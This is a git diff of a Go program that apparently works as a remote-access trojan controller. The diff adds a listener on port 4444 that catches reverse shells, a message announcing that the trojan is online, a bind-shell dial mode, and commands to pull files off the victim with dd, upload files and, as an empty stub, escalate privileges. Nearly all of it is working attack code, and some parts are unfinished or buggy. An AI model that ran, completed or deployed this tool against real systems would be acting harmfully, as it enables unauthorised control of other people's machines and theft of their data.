diff --git a/console.go b/console.go index f6ea226..ef11399 100644 --- a/console.go +++ b/console.go @@ -4,12 +4,14 @@ import ( "bufio" "errors" "fmt" - "io" + "log" "net" "os" "os/exec" + "regexp" "strconv" "strings" + "sync" ) func main() { @@ -20,19 +22,22 @@ func main() { fmt.Println("| |___ ___) | |__| (_) | | | \\__ \\ (_) | | __/") fmt.Println(" \\____|____/ \\____\\___/|_| |_|___/\\___/|_|\\___|") - console() - //listener("tcp", 4444) + //console() + listener("tcp", 4444) //dial() } type env struct { - lport int - rhost int - rport int + lport int + rhost string + rport int + username string } var env1 env +var lock sync.Mutex + // listener function func listener(network string, port int) { // Create a listener @@ -42,52 +47,56 @@ func listener(network string, port int) { fmt.Println("err = ", err) return } - + fmt.Printf("Listening on local port %d\n", port) defer listener.Close() - //阻塞等待用户链接 + //var connpool[16] net.Conn + //Wait for connection + conn, err := listener.Accept() if err != nil { fmt.Println("err = ", err) return } - defer conn.Close() //关闭当前用户链接 - //接收用户的请求 - // for { - // buf := make([]byte, 1024) //1024大小的缓冲区 + fmt.Println("木马已经上线") - // n, err1 := conn.Read(buf) - // if err1 != nil { - // fmt.Println("err1 = ", err1) - // return - // } + //defer conn.Close() //Close TCP connetcion - // fmt.Println("buf = ", string(buf[:n])) + exit := make(chan string, 1) + receive := make(chan int) - // } + //Get username + conn.Write([]byte("id\n")) + receiver(conn) + fmt.Print(env1.username + " > ") go func() { - buf := make([]byte, 1024) + for { - n, err := conn.Read(buf) - if err != nil { - if err == io.EOF { - return - } - panic(err) - } - fmt.Printf("received: %v", string(buf[:n])) + // lock.Lock() + // fmt.Println("rece locked") + <-receive + receiver(conn) + fmt.Print(env1.username + " > ") + // fmt.Println("rece unlocked") + // lock.Unlock() + } + + }() + + go func() { + for { + // fmt.Println("locked") + // fmt.Print(env1.username + " > ") + sender(conn, exit, receive) + //time.Sleep(2 * time.Second) + // fmt.Println("unlocked") + // lock.Unlock() } }() - // 客户端可以输入消息并发送到服务端 - for { - //var inp string - //fmt.Scanln(&inp) - //conn.Write([]byte(inp + "\n")) - - } - + aaaa := <-exit // 2. 尝试从通道中读取内容,若通道为空,则阻塞在此 + fmt.Printf("command: %v", aaaa) } // 控制台函数 @@ -108,8 +117,7 @@ func console() { } } -// ErrNoPath is returned when 'cd' was called without a second argument. -var ErrNoPath = errors.New("path required") +//define some errors var ErrNoSet = errors.New("variaty name required") var ErrNoVar = errors.New("variaty name wrong") @@ -126,13 +134,15 @@ func execInput(input string) error { case "help": fmt.Print("use show to show options") fmt.Print("use set to set varieties") - fmt.Print("use ") + fmt.Print("use listen to connect a reverse shell") + fmt.Print("use dial to connect a bind shell") return nil case "cd": - // 'cd' to home with empty path not yet supported. + // use "cd" to cd home if len(args) < 2 { - return ErrNoPath + home := os.Getenv("HOME") + return os.Chdir(home) } // Change the directory and return the error. return os.Chdir(args[1]) @@ -146,7 +156,7 @@ func execInput(input string) error { env1.lport, _ = strconv.Atoi(args[2]) return nil case "rhost": - env1.rhost, _ = strconv.Atoi(args[2]) + env1.rhost = args[2] return nil case "rport": env1.rport, _ = strconv.Atoi(args[2]) @@ -157,12 +167,17 @@ func execInput(input string) error { case "show": fmt.Printf("Local listening port (lport): %d\n", env1.lport) - fmt.Printf("Remote listening host (rhost): %d\n", env1.rhost) + fmt.Printf("Remote listening host (rhost): %s\n", env1.rhost) fmt.Printf("Remote listening port (rport): %d\n", env1.rport) return nil case "listen": listener("tcp", env1.lport) + return nil + + case "dial": + dial("tcp", env1.rhost, env1.rport) + return nil case "exit": os.Exit(0) } @@ -178,34 +193,141 @@ func execInput(input string) error { return cmd.Run() } -func dial(host string, port int) { - dialaddr := host + ":" + strconv.Itoa(port) - conn, err := net.Dial("tcp", dialaddr) +func dial(network string, host string, port int) { + dialaddr := net.JoinHostPort(host, strconv.Itoa(port)) + conn, err := net.Dial(network, dialaddr) if err != nil { fmt.Fprintln(os.Stderr, err) return } defer conn.Close() - // 将读取部分放入到子协程中,不阻塞主协程运行 + exit := make(chan string, 1) + receive := make(chan int) + go func() { - buf := make([]byte, 1024) - for { - n, err := conn.Read(buf) - if err != nil { - if err == io.EOF { - return - } - panic(err) - } - fmt.Printf("received: %v", string(buf[:n])) - } + receiver(conn) }() - // 客户端可以输入消息并发送到服务端 for { - var inp string - fmt.Scanln(&inp) - conn.Write([]byte(inp + "\n")) + sender(conn, exit, receive) } } + +func sender(conn net.Conn, exit chan string, receive chan int) { + reader := bufio.NewReader(os.Stdin) + inp, err := reader.ReadString('\n') + if len(inp) == 1 { + fmt.Print(env1.username + " > ") + return + } + if nil != err { + fmt.Println("reader.ReadLine() error:", err) + } + + if strings.HasPrefix(inp, ":help") { + fmt.Println("use :download FILENAME to download") + fmt.Println("use :upload LOCAL REMOTE to upload") + fmt.Println("use :exit to hung up session") + fmt.Println("use :getsystem to get Local Privilege Escalation") + fmt.Print(env1.username + " > ") + return + } + + if strings.HasPrefix(inp, ":download") { + inp = strings.TrimSuffix(inp, "\n") + args := strings.Split(inp, " ") + if len(args) != 2 { + fmt.Println("args error") + return + } + conn.Write([]byte("dd if=" + args[1] + " status=none bs=4096" + "\n")) + dlbuf := make([]byte, 4096) + dlfile, _ := os.Create("./downloaded/" + args[1]) + defer dlfile.Close() + for { + n, _ := conn.Read(dlbuf) + _, err := dlfile.Write(dlbuf[:n]) + if n != 4096 { + fmt.Println("downloaded at downloaded/" + args[1]) + fmt.Print(env1.username + " > ") + return + } + if err != nil { + panic(err) + } + } + + } + + if strings.HasPrefix(inp, ":upload") { + inp = strings.TrimSuffix(inp, "\n") + args := strings.Split(inp, " ") + if len(args) != 3 { + fmt.Println("args error") + return + } + f, err := os.OpenFile(args[1], os.O_RDONLY, 0744) + if err != nil { + log.Fatal(err) + } + if err := f.Close(); err != nil { + log.Fatal(err) + } + + conn.FileConn(f) + //conn.Write([]byte("dd of=" + args[2] + " status=none" + "\n")) + //uploadbuf, _ := os.ReadFile(args[1]) + //fmt.Print(string(uploadbuf)) + //conn.Write(uploadbuf) + fmt.Print(env1.username + " > ") + return + } + + if strings.HasPrefix(inp, ":exit") { + exit <- "server quit" // 3. 向通道内写入内容 + //conn.Close() + fmt.Print(env1.username + " > ") + return + } + + if strings.HasPrefix(inp, ":getsystem") { + + return + } + + if strings.HasPrefix(inp, "cd") { + conn.Write([]byte(inp)) + return + } + conn.Write([]byte(inp)) + receive <- 1 + return +} + +func receiver(conn net.Conn) { + buf := make([]byte, 1024) + for { + n, _ := conn.Read(buf) + + if strings.HasPrefix(string(buf[:n]), "uid=") { + compileRegex := regexp.MustCompile("((.*?))") + matchArr := compileRegex.FindStringSubmatch(string(buf[:n])) + + if len(matchArr) == 0 { + compileRegex := regexp.MustCompile("\\((.*?)\\)") + matchArr = compileRegex.FindStringSubmatch(string(buf[:n])) + } + + if len(matchArr) > 0 { + env1.username = matchArr[len(matchArr)-1] + return + } + } + fmt.Printf("%v", string(buf[:n])) + if n != 1024 { + return + } + } + +}